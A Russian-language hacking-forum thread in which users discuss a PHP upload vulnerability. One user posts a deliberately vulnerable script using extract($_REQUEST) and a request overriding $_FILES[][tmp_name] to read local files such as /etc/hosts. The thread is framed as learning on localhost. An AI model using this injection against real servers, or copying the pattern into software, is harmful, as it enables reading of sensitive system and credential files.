Уязвимость в уплоадерах

Discussion in 'Песочница' started by Octavian, 10 Mar 2017.

  1. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    501
    Likes Received:
    95
    Reputations:
    24
    Читал книгу наткнулся на это попробовал уязвимость на практике но ничего не вышло
    Что имел ввиду автор? Ведь название временного файла генерируется автоматически и даже если мы откроем скрипт словим POST и вместо названия напишем etc/passwd ничего не произойдет! http://uploads.ru/94nJd.jpg
    [​IMG]
     
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Большая часть текста взята из мана PHP. Смею предположить, что имеется в виду какой-то частный случай типа extract, $$val или register_globals=On.
     
  3. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    913
    Likes Received:
    480
    Reputations:
    724
    _________________________
  4. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Пример:

    PHP:
    <?php
    $info 
    $_REQUEST;
    extract($info);

    /* . . SOME CODE . . */

    foreach($_FILES as $key => $value) {
      
    $file $key;
      
    $name $value['name'];
      
    $type $value['type'];
      
    $data file_get_contents($value['tmp_name']);
      
    $send .= "--$boundary\r\nContent-Disposition: form-data; name=\"$file\"; filename=\"$name\"\r\nContent-Type: $type\r\n\r\n".$data."\r\n";
    }
    echo 
    $send;
    ?>

    http://localhost/test.php?_FILES[][tmp_name]=/etc/hosts
     
    Gorev likes this.
  5. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    501
    Likes Received:
    95
    Reputations:
    24
    У меня на локалке не пашет
    http://localhost/test.php?$_FILES[][tmp_name]=/php/php.ini
     
  6. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    663
    Likes Received:
    1,421
    Reputations:
    441
    Nginx + PHP 5.6 нормально отрабатывает. В каком окружении проверяешь? Варнинги есть?